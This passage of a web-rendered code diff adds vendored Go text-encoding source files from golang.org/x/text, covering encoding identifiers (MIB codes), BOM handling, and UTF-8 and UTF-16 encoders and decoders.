n, ok := h.handler(dst[nDst:], r, rerr)
|
||||
if !ok {
|
||||
return nDst, nSrc, transform.ErrShortDst
|
||||
}
|
||||
err = nil
|
||||
nDst += n
|
||||
if nSrc += sz; nSrc < len(src) {
|
||||
var dn, sn int
|
||||
dn, sn, err = h.Transformer.Transform(dst[nDst:], src[nSrc:], atEOF)
|
||||
nDst += dn
|
||||
nSrc += sn
|
||||
}
|
||||
}
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
|
||||
func errorToHTML(dst []byte, r rune, err repertoireError) (n int, ok bool) {
|
||||
buf := [8]byte{}
|
||||
b := strconv.AppendUint(buf[:0], uint64(r), 10)
|
||||
if n = len(b) + len("&#;"); n >= len(dst) {
|
||||
return 0, false
|
||||
}
|
||||
dst[0] = '&'
|
||||
dst[1] = '#'
|
||||
dst[copy(dst[2:], b)+2] = ';'
|
||||
return n, true
|
||||
}
|
||||
|
||||
func errorToReplacement(dst []byte, r rune, err repertoireError) (n int, ok bool) {
|
||||
if len(dst) == 0 {
|
||||
return 0, false
|
||||
}
|
||||
dst[0] = err.Replacement()
|
||||
return 1, true
|
||||
}
|
||||
|
||||
// ErrInvalidUTF8 means that a transformer encountered invalid UTF-8.
|
||||
var ErrInvalidUTF8 = errors.New("encoding: invalid UTF-8")
|
||||
|
||||
// UTF8Validator is a transformer that returns ErrInvalidUTF8 on the first
|
||||
// input byte that is not valid UTF-8.
|
||||
var UTF8Validator transform.Transformer = utf8Validator{}
|
||||
|
||||
type utf8Validator struct{ transform.NopResetter }
|
||||
|
||||
func (utf8Validator) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
n := len(src)
|
||||
if n > len(dst) {
|
||||
n = len(dst)
|
||||
}
|
||||
for i := 0; i < n; {
|
||||
if c := src[i]; c < utf8.RuneSelf {
|
||||
dst[i] = c
|
||||
i++
|
||||
continue
|
||||
}
|
||||
_, size := utf8.DecodeRune(src[i:])
|
||||
if size == 1 {
|
||||
// All valid runes of size 1 (those below utf8.RuneSelf) were
|
||||
// handled above. We have invalid UTF-8 or we haven't seen the
|
||||
// full character yet.
|
||||
err = ErrInvalidUTF8
|
||||
if !atEOF && !utf8.FullRune(src[i:]) {
|
||||
err = transform.ErrShortSrc
|
||||
}
|
||||
return i, i, err
|
||||
}
|
||||
if i+size > len(dst) {
|
||||
return i, i, transform.ErrShortDst
|
||||
}
|
||||
for ; size > 0; size-- {
|
||||
dst[i] = src[i]
|
||||
i++
|
||||
}
|
||||
}
|
||||
if len(src) > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
}
|
||||
return n, n, err
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:generate go run gen.go
|
||||
|
||||
// Package identifier defines the contract between implementations of Encoding
|
||||
// and Index by defining identifiers that uniquely identify standardized coded
|
||||
// character sets (CCS) and character encoding schemes (CES), which we will
|
||||
// together refer to as encodings, for which Encoding implementations provide
|
||||
// converters to and from UTF-8. This package is typically only of concern to
|
||||
// implementers of Indexes and Encodings.
|
||||
//
|
||||
// One part of the identifier is the MIB code, which is defined by IANA and
|
||||
// uniquely identifies a CCS or CES. Each code is associated with data that
|
||||
// references authorities, official documentation as well as aliases and MIME
|
||||
// names.
|
||||
//
|
||||
// Not all CESs are covered by the IANA registry. The "other" string that is
|
||||
// returned by ID can be used to identify other character sets or versions of
|
||||
// existing ones.
|
||||
//
|
||||
// It is recommended that each package that provides a set of Encodings provide
|
||||
// the All and Common variables to reference all supported encodings and
|
||||
// commonly used subset. This allows Index implementations to include all
|
||||
// available encodings without explicitly referencing or knowing about them.
|
||||
package identifier
|
||||
|
||||
// Note: this package is internal, but could be made public if there is a need
|
||||
// for writing third-party Indexes and Encodings.
|
||||
|
||||
// References:
|
||||
// - http://source.icu-project.org/repos/icu/icu/trunk/source/data/mappings/convrtrs.txt
|
||||
// - http://www.iana.org/assignments/character-sets/character-sets.xhtml
|
||||
// - http://www.iana.org/assignments/ianacharset-mib/ianacharset-mib
|
||||
// - http://www.ietf.org/rfc/rfc2978.txt
|
||||
// - https://www.unicode.org/reports/tr22/
|
||||
// - http://www.w3.org/TR/encoding/
|
||||
// - https://encoding.spec.whatwg.org/
|
||||
// - https://encoding.spec.whatwg.org/encodings.json
|
||||
// - https://tools.ietf.org/html/rfc6657#section-5
|
||||
|
||||
// Interface can be implemented by Encodings to define the CCS or CES for which
|
||||
// it implements conversions.
|
||||
type Interface interface {
|
||||
// ID returns an encoding identifier. Exactly one of the mib and other
|
||||
// values should be non-zero.
|
||||
//
|
||||
// In the usual case it is only necessary to indicate the MIB code. The
|
||||
// other string can be used to specify encodings for which there is no MIB,
|
||||
// such as "x-mac-dingbat".
|
||||
//
|
||||
// The other string may only contain the characters a-z, A-Z, 0-9, - and _.
|
||||
ID() (mib MIB, other string)
|
||||
|
||||
// NOTE: the restrictions on the encoding are to allow extending the syntax
|
||||
// with additional information such as versions, vendors and other variants.
|
||||
}
|
||||
|
||||
// A MIB identifies an encoding. It is derived from the IANA MIB codes and adds
|
||||
// some identifiers for some encodings that are not covered by the IANA
|
||||
// standard.
|
||||
//
|
||||
// See http://www.iana.org/assignments/ianacharset-mib.
|
||||
type MIB uint16
|
||||
|
||||
// These additional MIB types are not defined in IANA. They are added because
|
||||
// they are common and defined within the text repo.
|
||||
const (
|
||||
// Unofficial marks the start of encodings not registered by IANA.
|
||||
Unofficial MIB = 10000 + iota
|
||||
|
||||
// Replacement is the WhatWG replacement encoding.
|
||||
Replacement
|
||||
|
||||
// XUserDefined is the code for x-user-defined.
|
||||
XUserDefined
|
||||
|
||||
// MacintoshCyrillic is the code for x-mac-cyrillic.
|
||||
MacintoshCyrillic
|
||||
)
|
||||
+1619
File diff suppressed because it is too large.
Load diff
+75
@@ -0,0 +1,75 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package internal contains code that is shared among encoding implementations.
|
||||
package internal
|
||||
|
||||
import (
|
||||
"golang.org/x/text/encoding"
|
||||
"golang.org/x/text/encoding/internal/identifier"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// Encoding is an implementation of the Encoding interface that adds the String
|
||||
// and ID methods to an existing encoding.
|
||||
type Encoding struct {
|
||||
encoding.Encoding
|
||||
Name string
|
||||
MIB identifier.MIB
|
||||
}
|
||||
|
||||
// _ verifies that Encoding implements identifier.Interface.
|
||||
var _ identifier.Interface = (*Encoding)(nil)
|
||||
|
||||
func (e *Encoding) String() string {
|
||||
return e.Name
|
||||
}
|
||||
|
||||
func (e *Encoding) ID() (mib identifier.MIB, other string) {
|
||||
return e.MIB, ""
|
||||
}
|
||||
|
||||
// SimpleEncoding is an Encoding that combines two Transformers.
|
||||
type SimpleEncoding struct {
|
||||
Decoder transform.Transformer
|
||||
Encoder transform.Transformer
|
||||
}
|
||||
|
||||
func (e *SimpleEncoding) NewDecoder() *encoding.Decoder {
|
||||
return &encoding.Decoder{Transformer: e.Decoder}
|
||||
}
|
||||
|
||||
func (e *SimpleEncoding) NewEncoder() *encoding.Encoder {
|
||||
return &encoding.Encoder{Transformer: e.Encoder}
|
||||
}
|
||||
|
||||
// FuncEncoding is an Encoding that combines two functions returning a new
|
||||
// Transformer.
|
||||
type FuncEncoding struct {
|
||||
Decoder func() transform.Transformer
|
||||
Encoder func() transform.Transformer
|
||||
}
|
||||
|
||||
func (e FuncEncoding) NewDecoder() *encoding.Decoder {
|
||||
return &encoding.Decoder{Transformer: e.Decoder()}
|
||||
}
|
||||
|
||||
func (e FuncEncoding) NewEncoder() *encoding.Encoder {
|
||||
return &encoding.Encoder{Transformer: e.Encoder()}
|
||||
}
|
||||
|
||||
// A RepertoireError indicates a rune is not in the repertoire of a destination
|
||||
// encoding. It is associated with an encoding-specific suggested replacement
|
||||
// byte.
|
||||
type RepertoireError byte
|
||||
|
||||
// Error implements the error interrface.
|
||||
func (r RepertoireError) Error() string {
|
||||
return "encoding: rune not supported by encoding."
|
||||
}
|
||||
|
||||
// Replacement returns the replacement string associated with this error.
|
||||
func (r RepertoireError) Replacement() byte { return byte(r) }
|
||||
|
||||
var ErrASCIIReplacement = RepertoireError(encoding.ASCIISub)
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package unicode
|
||||
|
||||
import (
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// BOMOverride returns a new decoder transformer that is identical to fallback,
|
||||
// except that the presence of a Byte Order Mark at the start of the input
|
||||
// causes it to switch to the corresponding Unicode decoding. It will only
|
||||
// consider BOMs for UTF-8, UTF-16BE, and UTF-16LE.
|
||||
//
|
||||
// This differs from using ExpectBOM by allowing a BOM to switch to UTF-8, not
|
||||
// just UTF-16 variants, and allowing falling back to any encoding scheme.
|
||||
//
|
||||
// This technique is recommended by the W3C for use in HTML 5: "For
|
||||
// compatibility with deployed content, the byte order mark (also known as BOM)
|
||||
// is considered more authoritative than anything else."
|
||||
// http://www.w3.org/TR/encoding/#specification-hooks
|
||||
//
|
||||
// Using BOMOverride is mostly intended for use cases where the first characters
|
||||
// of a fallback encoding are known to not be a BOM, for example, for valid HTML
|
||||
// and most encodings.
|
||||
func BOMOverride(fallback transform.Transformer) transform.Transformer {
|
||||
// TODO: possibly allow a variadic argument of unicode encodings to allow
|
||||
// specifying details of which fallbacks are supported as well as
|
||||
// specifying the details of the implementations. This would also allow for
|
||||
// support for UTF-32, which should not be supported by default.
|
||||
return &bomOverride{fallback: fallback}
|
||||
}
|
||||
|
||||
type bomOverride struct {
|
||||
fallback transform.Transformer
|
||||
current transform.Transformer
|
||||
}
|
||||
|
||||
func (d *bomOverride) Reset() {
|
||||
d.current = nil
|
||||
d.fallback.Reset()
|
||||
}
|
||||
|
||||
var (
|
||||
// TODO: we could use decode functions here, instead of allocating a new
|
||||
// decoder on every NewDecoder as IgnoreBOM decoders can be stateless.
|
||||
utf16le = UTF16(LittleEndian, IgnoreBOM)
|
||||
utf16be = UTF16(BigEndian, IgnoreBOM)
|
||||
)
|
||||
|
||||
const utf8BOM = "\ufeff"
|
||||
|
||||
func (d *bomOverride) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
if d.current != nil {
|
||||
return d.current.Transform(dst, src, atEOF)
|
||||
}
|
||||
if len(src) < 3 && !atEOF {
|
||||
return 0, 0, transform.ErrShortSrc
|
||||
}
|
||||
d.current = d.fallback
|
||||
bomSize := 0
|
||||
if len(src) >= 2 {
|
||||
if src[0] == 0xFF && src[1] == 0xFE {
|
||||
d.current = utf16le.NewDecoder()
|
||||
bomSize = 2
|
||||
} else if src[0] == 0xFE && src[1] == 0xFF {
|
||||
d.current = utf16be.NewDecoder()
|
||||
bomSize = 2
|
||||
} else if len(src) >= 3 &&
|
||||
src[0] == utf8BOM[0] &&
|
||||
src[1] == utf8BOM[1] &&
|
||||
src[2] == utf8BOM[2] {
|
||||
d.current = transform.Nop
|
||||
bomSize = 3
|
||||
}
|
||||
}
|
||||
if bomSize < len(src) {
|
||||
nDst, nSrc, err = d.current.Transform(dst, src[bomSize:], atEOF)
|
||||
}
|
||||
return nDst, nSrc + bomSize, err
|
||||
}
|
||||
+512
@@ -0,0 +1,512 @@
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package unicode provides Unicode encodings such as UTF-16.
|
||||
package unicode // import "golang.org/x/text/encoding/unicode"
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"unicode/utf16"
|
||||
"unicode/utf8"
|
||||
|
||||
"golang.org/x/text/encoding"
|
||||
"golang.org/x/text/encoding/internal"
|
||||
"golang.org/x/text/encoding/internal/identifier"
|
||||
"golang.org/x/text/internal/utf8internal"
|
||||
"golang.org/x/text/runes"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// TODO: I think the Transformers really should return errors on unmatched
|
||||
// surrogate pairs and odd numbers of bytes. This is not required by RFC 2781,
|
||||
// which leaves it open, but is suggested by WhatWG. It will allow for all error
|
||||
// modes as defined by WhatWG: fatal, HTML and Replacement. This would require
|
||||
// the introduction of some kind of error type for conveying the erroneous code
|
||||
// point.
|
||||
|
||||
// UTF8 is the UTF-8 encoding. It neither removes nor adds byte order marks.
|
||||
var UTF8 encoding.Encoding = utf8enc
|
||||
|
||||
// UTF8BOM is an UTF-8 encoding where the decoder strips a leading byte order
|
||||
// mark while the encoder adds one.
|
||||
//
|
||||
// Some editors add a byte order mark as a signature to UTF-8 files. Although
|
||||
// the byte order mark is not useful for detecting byte order in UTF-8, it is
|
||||
// sometimes used as a convention to mark UTF-8-encoded files. This relies on
|
||||
// the observation that the UTF-8 byte order mark is either an illegal or at
|
||||
// least very unlikely sequence in any other character encoding.
|
||||
var UTF8BOM encoding.Encoding = utf8bomEncoding{}
|
||||
|
||||
type utf8bomEncoding struct{}
|
||||
|
||||
func (utf8bomEncoding) String() string {
|
||||
return "UTF-8-BOM"
|
||||
}
|
||||
|
||||
func (utf8bomEncoding) ID() (identifier.MIB, string) {
|
||||
return identifier.Unofficial, "x-utf8bom"
|
||||
}
|
||||
|
||||
func (utf8bomEncoding) NewEncoder() *encoding.Encoder {
|
||||
return &encoding.Encoder{
|
||||
Transformer: &utf8bomEncoder{t: runes.ReplaceIllFormed()},
|
||||
}
|
||||
}
|
||||
|
||||
func (utf8bomEncoding) NewDecoder() *encoding.Decoder {
|
||||
return &encoding.Decoder{Transformer: &utf8bomDecoder{}}
|
||||
}
|
||||
|
||||
var utf8enc = &internal.Encoding{
|
||||
&internal.SimpleEncoding{utf8Decoder{}, runes.ReplaceIllFormed()},
|
||||
"UTF-8",
|
||||
identifier.UTF8,
|
||||
}
|
||||
|
||||
type utf8bomDecoder struct {
|
||||
checked bool
|
||||
}
|
||||
|
||||
func (t *utf8bomDecoder) Reset() {
|
||||
t.checked = false
|
||||
}
|
||||
|
||||
func (t *utf8bomDecoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
if !t.checked {
|
||||
if !atEOF && len(src) < len(utf8BOM) {
|
||||
if len(src) == 0 {
|
||||
return 0, 0, nil
|
||||
}
|
||||
return 0, 0, transform.ErrShortSrc
|
||||
}
|
||||
if bytes.HasPrefix(src, []byte(utf8BOM)) {
|
||||
nSrc += len(utf8BOM)
|
||||
src = src[len(utf8BOM):]
|
||||
}
|
||||
t.checked = true
|
||||
}
|
||||
nDst, n, err := utf8Decoder.Transform(utf8Decoder{}, dst[nDst:], src, atEOF)
|
||||
nSrc += n
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
|
||||
type utf8bomEncoder struct {
|
||||
written bool
|
||||
t transform.Transformer
|
||||
}
|
||||
|
||||
func (t *utf8bomEncoder) Reset() {
|
||||
t.written = false
|
||||
t.t.Reset()
|
||||
}
|
||||
|
||||
func (t *utf8bomEncoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
if !t.written {
|
||||
if len(dst) < len(utf8BOM) {
|
||||
return nDst, 0, transform.ErrShortDst
|
||||
}
|
||||
nDst = copy(dst, utf8BOM)
|
||||
t.written = true
|
||||
}
|
||||
n, nSrc, err := utf8Decoder.Transform(utf8Decoder{}, dst[nDst:], src, atEOF)
|
||||
nDst += n
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
|
||||
type utf8Decoder struct{ transform.NopResetter }
|
||||
|
||||
func (utf8Decoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
var pSrc int // point from which to start copy in src
|
||||
var accept utf8internal.AcceptRange
|
||||
|
||||
// The decoder can only make the input larger, not smaller.
|
||||
n := len(src)
|
||||
if len(dst) < n {
|
||||
err = transform.ErrShortDst
|
||||
n = len(dst)
|
||||
atEOF = false
|
||||
}
|
||||
for nSrc < n {
|
||||
c := src[nSrc]
|
||||
if c < utf8.RuneSelf {
|
||||
nSrc++
|
||||
continue
|
||||
}
|
||||
first := utf8internal.First[c]
|
||||
size := int(first & utf8internal.SizeMask)
|
||||
if first == utf8internal.FirstInvalid {
|
||||
goto handleInvalid // invalid starter byte
|
||||
}
|
||||
accept = utf8internal.AcceptRanges[first>>utf8internal.AcceptShift]
|
||||
if nSrc+size > n {
|
||||
if !atEOF {
|
||||
// We may stop earlier than necessary here if the short sequence
|
||||
// has invalid bytes. Not checking for this simplifies the code
|
||||
// and may avoid duplicate computations in certain conditions.
|
||||
if err == nil {
|
||||
err = transform.ErrShortSrc
|
||||
}
|
||||
break
|
||||
}
|
||||
// Determine the maximal subpart of an ill-formed subsequence.
|
||||
switch {
|
||||
case nSrc+1 >= n || src[nSrc+1] < accept.Lo || accept.Hi < src[nSrc+1]:
|
||||
size = 1
|
||||
case nSrc+2 >= n || src[nSrc+2] < utf8internal.LoCB || utf8internal.HiCB < src[nSrc+2]:
|
||||
size = 2
|
||||
default:
|
||||
size = 3 // As we are short, the maximum is 3.
|
||||
}
|
||||
goto handleInvalid
|
||||
}
|
||||
if c = src[nSrc+1]; c < accept.Lo || accept.Hi < c {
|
||||
size = 1
|
||||
goto handleInvalid // invalid continuation byte
|
||||
} else if size == 2 {
|
||||
} else if c = src[nSrc+2]; c < utf8internal.LoCB || utf8internal.HiCB < c {
|
||||
size = 2
|
||||
goto handleInvalid // invalid continuation byte
|
||||
} else if size == 3 {
|
||||
} else if c = src[nSrc+3]; c < utf8internal.LoCB || utf8internal.HiCB < c {
|
||||
size = 3
|
||||
goto handleInvalid // invalid continuation byte
|
||||
}
|
||||
nSrc += size
|
||||
continue
|
||||
|
||||
handleInvalid:
|
||||
// Copy the scanned input so far.
|
||||
nDst += copy(dst[nDst:], src[pSrc:nSrc])
|
||||
|
||||
// Append RuneError to the destination.
|
||||
const runeError = "\ufffd"
|
||||
if nDst+len(runeError) > len(dst) {
|
||||
return nDst, nSrc, transform.ErrShortDst
|
||||
}
|
||||
nDst += copy(dst[nDst:], runeError)
|
||||
|
||||
// Skip the maximal subpart of an ill-formed subsequence according to
|
||||
// the W3C standard way instead of the Go way. This Transform is
|
||||
// probably the only place in the text repo where it is warranted.
|
||||
nSrc += size
|
||||
pSrc = nSrc
|
||||
|
||||
// Recompute the maximum source length.
|
||||
if sz := len(dst) - nDst; sz < len(src)-nSrc {
|
||||
err = transform.ErrShortDst
|
||||
n = nSrc + sz
|
||||
atEOF = false
|
||||
}
|
||||
}
|
||||
return nDst + copy(dst[nDst:], src[pSrc:nSrc]), nSrc, err
|
||||
}
|
||||
|
||||
// UTF16 returns a UTF-16 Encoding for the given default endianness and byte
|
||||
// order mark (BOM) policy.
|
||||
//
|
||||
// When decoding from UTF-16 to UTF-8, if the BOMPolicy is IgnoreBOM then
|
||||
// neither BOMs U+FEFF nor noncharacters U+FFFE in the input stream will affect
|
||||
// the endianness used for decoding, and will instead be output as their
|
||||
// standard UTF-8 encodings: "\xef\xbb\xbf" and "\xef\xbf\xbe". If the BOMPolicy
|
||||
// is UseBOM or ExpectBOM a staring BOM is not written to the UTF-8 output.
|
||||
// Instead, it overrides the default endianness e for the remainder of the
|
||||
// transformation. Any subsequent BOMs U+FEFF or noncharacters U+FFFE will not
|
||||
// affect the endianness used, and will instead be output as their standard
|
||||
// UTF-8 encodings. For UseBOM, if there is no starting BOM, it will proceed
|
||||
// with the default Endianness. For ExpectBOM, in that case, the transformation
|
||||
// will return early with an ErrMissingBOM error.
|
||||
//
|
||||
// When encoding from UTF-8 to UTF-16, a BOM will be inserted at the start of
|
||||
// the output if the BOMPolicy is UseBOM or ExpectBOM. Otherwise, a BOM will not
|
||||
// be inserted. The UTF-8 input does not need to contain a BOM.
|
||||
//
|
||||
// There is no concept of a 'native' endianness. If the UTF-16 data is produced
|
||||
// and consumed in a greater context that implies a certain endianness, use
|
||||
// IgnoreBOM. Otherwise, use ExpectBOM and always produce and consume a BOM.
|
||||
//
|
||||
// In the language of https://www.unicode.org/faq/utf_bom.html#bom10, IgnoreBOM
|
||||
// corresponds to "Where the precise type of the data stream is known... the
|
||||
// BOM should not be used" and ExpectBOM corresponds to "A particular
|
||||
// protocol... may require use of the BOM".
|
||||
func UTF16(e Endianness, b BOMPolicy) encoding.Encoding {
|
||||
return utf16Encoding{config{e, b}, mibValue[e][b&bomMask]}
|
||||
}
|
||||
|
||||
// mibValue maps Endianness and BOMPolicy settings to MIB constants. Note that
|
||||
// some configurations map to the same MIB identifier. RFC 2781 has requirements
|
||||
// and recommendations. Some of the "configurations" are merely recommendations,
|
||||
// so multiple configurations could match.
|
||||
var mibValue = map[Endianness][numBOMValues]identifier.MIB{
|
||||
BigEndian: [numBOMValues]identifier.MIB{
|
||||
IgnoreBOM: identifier.UTF16BE,
|
||||
UseBOM: identifier.UTF16, // BigEnding default is preferred by RFC 2781.
|
||||
// TODO: acceptBOM | strictBOM would map to UTF16BE as well.
|
||||
},
|
||||
LittleEndian: [numBOMValues]identifier.MIB{
|
||||
IgnoreBOM: identifier.UTF16LE,
|
||||
UseBOM: identifier.UTF16, // LittleEndian default is allowed and preferred on Windows.
|
||||
// TODO: acceptBOM | strictBOM would map to UTF16LE as well.
|
||||
},
|
||||
// ExpectBOM is not widely used and has no valid MIB identifier.
|
||||
}
|
||||
|
||||
// All lists a configuration for each IANA-defined UTF-16 variant.
|
||||
var All = []encoding.Encoding{
|
||||
UTF8,
|
||||
UTF16(BigEndian, UseBOM),
|
||||
UTF16(BigEndian, IgnoreBOM),
|
||||
UTF16(LittleEndian, IgnoreBOM),
|
||||
}
|
||||
|
||||
// BOMPolicy is a UTF-16 encoding's byte order mark policy.
|
||||
type BOMPolicy uint8
|
||||
|
||||
const (
|
||||
writeBOM BOMPolicy = 0x01
|
||||
acceptBOM BOMPolicy = 0x02
|
||||
requireBOM BOMPolicy = 0x04
|
||||
bomMask BOMPolicy = 0x07
|
||||
|
||||
// HACK: numBOMValues == 8 triggers a bug in the 1.4 compiler (cannot have a
|
||||
// map of an array of length 8 of a type that is also used as a key or value
|
||||
// in another map). See golang.org/issue/11354.
|
||||
// TODO: consider changing this value back to 8 if the use of 1.4.* has
|
||||
// been minimized.
|
||||
numBOMValues = 8 + 1
|
||||
|
||||
// IgnoreBOM means to ignore any byte order marks.
|
||||
IgnoreBOM BOMPolicy = 0
|
||||
// Common and RFC 2781-compliant interpretation for UTF-16BE/LE.
|
||||
|
||||
// UseBOM means that the UTF-16 form may start with a byte order mark, which
|
||||
// will be used to override the default encoding.
|
||||
UseBOM BOMPolicy = writeBOM | acceptBOM
|
||||
// Common and RFC 2781-compliant interpretation for UTF-16.
|
||||
|
||||
// ExpectBOM means that the UTF-16 form must start with a byte order mark,
|
||||
// which will be used to override the default encoding.
|
||||
ExpectBOM BOMPolicy = writeBOM | acceptBOM | requireBOM
|
||||
// Used in Java as Unicode (not to be confused with Java's UTF-16) and
|
||||
// ICU's UTF-16,version=1. Not compliant with RFC 2781.
|
||||
|
||||
// TODO (maybe): strictBOM: BOM must match Endianness. This would allow:
|
||||
// - UTF-16(B|L)E,version=1: writeBOM | acceptBOM | requireBOM | strictBOM
|
||||
// (UnicodeBig and UnicodeLittle in Java)
|
||||
// - RFC 2781-compliant, but less common interpretation for UTF-16(B|L)E:
|
||||
// acceptBOM | strictBOM (e.g. assigned to CheckBOM).
|
||||
// This addition would be consistent with supporting ExpectBOM.
|
||||
)
|
||||
|
||||
// Endianness is a UTF-16 encoding's default endianness.
|
||||
type Endianness bool
|
||||
|
||||
const (
|
||||
// BigEndian is UTF-16BE.
|
||||
BigEndian Endianness = false
|
||||
// LittleEndian is UTF-16LE.
|
||||
LittleEndian Endianness = true
|
||||
)
|
||||
|
||||
// ErrMissingBOM means that decoding UTF-16 input with ExpectBOM did not find a
|
||||
// starting byte order mark.
|
||||
var ErrMissingBOM = errors.New("encoding: missing byte order mark")
|
||||
|
||||
type utf16Encoding struct {
|
||||
config
|
||||
mib identifier.MIB
|
||||
}
|
||||
|
||||
type config struct {
|
||||
endianness Endianness
|
||||
bomPolicy BOMPolicy
|
||||
}
|
||||
|
||||
func (u utf16Encoding) NewDecoder() *encoding.Decoder {
|
||||
return &encoding.Decoder{Transformer: &utf16Decoder{
|
||||
initial: u.config,
|
||||
current: u.config,
|
||||
}}
|
||||
}
|
||||
|
||||
func (u utf16Encoding) NewEncoder() *encoding.Encoder {
|
||||
return &encoding.Encoder{Transformer: &utf16Encoder{
|
||||
endianness: u.endianness,
|
||||
initialBOMPolicy: u.bomPolicy,
|
||||
currentBOMPolicy: u.bomPolicy,
|
||||
}}
|
||||
}
|
||||
|
||||
func (u utf16Encoding) ID() (mib identifier.MIB, other string) {
|
||||
return u.mib, ""
|
||||
}
|
||||
|
||||
func (u utf16Encoding) String() string {
|
||||
e, b := "B", ""
|
||||
if u.endianness == LittleEndian {
|
||||
e = "L"
|
||||
}
|
||||
switch u.bomPolicy {
|
||||
case ExpectBOM:
|
||||
b = "Expect"
|
||||
case UseBOM:
|
||||
b = "Use"
|
||||
case IgnoreBOM:
|
||||
b = "Ignore"
|
||||
}
|
||||
return "UTF-16" + e + "E (" + b + " BOM)"
|
||||
}
|
||||
|
||||
type utf16Decoder struct {
|
||||
initial config
|
||||
current config
|
||||
}
|
||||
|
||||
func (u *utf16Decoder) Reset() {
|
||||
u.current = u.initial
|
||||
}
|
||||
|
||||
func (u *utf16Decoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
if len(src) < 2 && atEOF && u.current.bomPolicy&requireBOM != 0 {
|
||||
return 0, 0, ErrMissingBOM
|
||||
}
|
||||
if len(src) == 0 {
|
||||
return 0, 0, nil
|
||||
}
|
||||
if len(src) >= 2 && u.current.bomPolicy&acceptBOM != 0 {
|
||||
switch {
|
||||
case src[0] == 0xfe && src[1] == 0xff:
|
||||
u.current.endianness = BigEndian
|
||||
nSrc = 2
|
||||
case src[0] == 0xff && src[1] == 0xfe:
|
||||
u.current.endianness = LittleEndian
|
||||
nSrc = 2
|
||||
default:
|
||||
if u.current.bomPolicy&requireBOM != 0 {
|
||||
return 0, 0, ErrMissingBOM
|
||||
}
|
||||
}
|
||||
u.current.bomPolicy = IgnoreBOM
|
||||
}
|
||||
|
||||
var r rune
|
||||
var dSize, sSize int
|
||||
for nSrc < len(src) {
|
||||
if nSrc+1 < len(src) {
|
||||
x := uint16(src[nSrc+0])<<8 | uint16(src[nSrc+1])
|
||||
if u.current.endianness == LittleEndian {
|
||||
x = x>>8 | x<<8
|
||||
}
|
||||
r, sSize = rune(x), 2
|
||||
if utf16.IsSurrogate(r) {
|
||||
if nSrc+3 < len(src) {
|
||||
x = uint16(src[nSrc+2])<<8 | uint16(src[nSrc+3])
|
||||
if u.current.endianness == LittleEndian {
|
||||
x = x>>8 | x<<8
|
||||
}
|
||||
// Save for next iteration if it is not a high surrogate.
|
||||
if isHighSurrogate(rune(x)) {
|
||||
r, sSize = utf16.DecodeRune(r, rune(x)), 4
|
||||
}
|
||||
} else if !atEOF {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
}
|
||||
if dSize = utf8.RuneLen(r); dSize < 0 {
|
||||
r, dSize = utf8.RuneError, 3
|
||||
}
|
||||
} else if atEOF {
|
||||
// Single trailing byte.
|
||||
r, dSize, sSize = utf8.RuneError, 3, 1
|
||||
} else {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
if nDst+dSize > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
nDst += utf8.EncodeRune(dst[nDst:], r)
|
||||
nSrc += sSize
|
||||
}
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
|
||||
func isHighSurrogate(r rune) bool {
|
||||
return 0xDC00 <= r && r <= 0xDFFF
|
||||
}
|
||||
|
||||
type utf16Encoder struct {
|
||||
endianness Endianness
|
||||
initialBOMPolicy BOMPolicy
|
||||
currentBOMPolicy BOMPolicy
|
||||
}
|
||||
|
||||
func (u *utf16Encoder) Reset() {
|
||||
u.currentBOMPolicy = u.initialBOMPolicy
|
||||
}
|
||||
|
||||
func (u *utf16Encoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
if u.currentBOMPolicy&writeBOM != 0 {
|
||||
if len(dst) < 2 {
|
||||
return 0, 0, transform.ErrShortDst
|
||||
}
|
||||
dst[0], dst[1] = 0xfe, 0xff
|
||||
u.currentBOMPolicy = IgnoreBOM
|
||||
nDst = 2
|
||||
}
|
||||
|
||||
r, size := rune(0), 0
|
||||
for nSrc < len(src) {
|
||||
r = rune(src[nSrc])
|
||||
|
||||
// Decode a 1-byte rune.
|
||||
if r < utf8.RuneSelf {
|
||||
size = 1
|
||||
|
||||
} else {
|
||||
// Decode a multi-byte rune.
|
||||
r, size = utf8.DecodeRune(src[nSrc:])
|
||||
if size == 1 {
|
||||
// All valid runes of size 1 (those below utf8.RuneSelf) were
|
||||
// handled above. We have invalid UTF-8 or we haven't seen the
|
||||
// full character yet.
|
||||
if !atEOF && !utf8.FullRune(src[nSrc:]) {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if r <= 0xffff {
|
||||
if nDst+2 > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
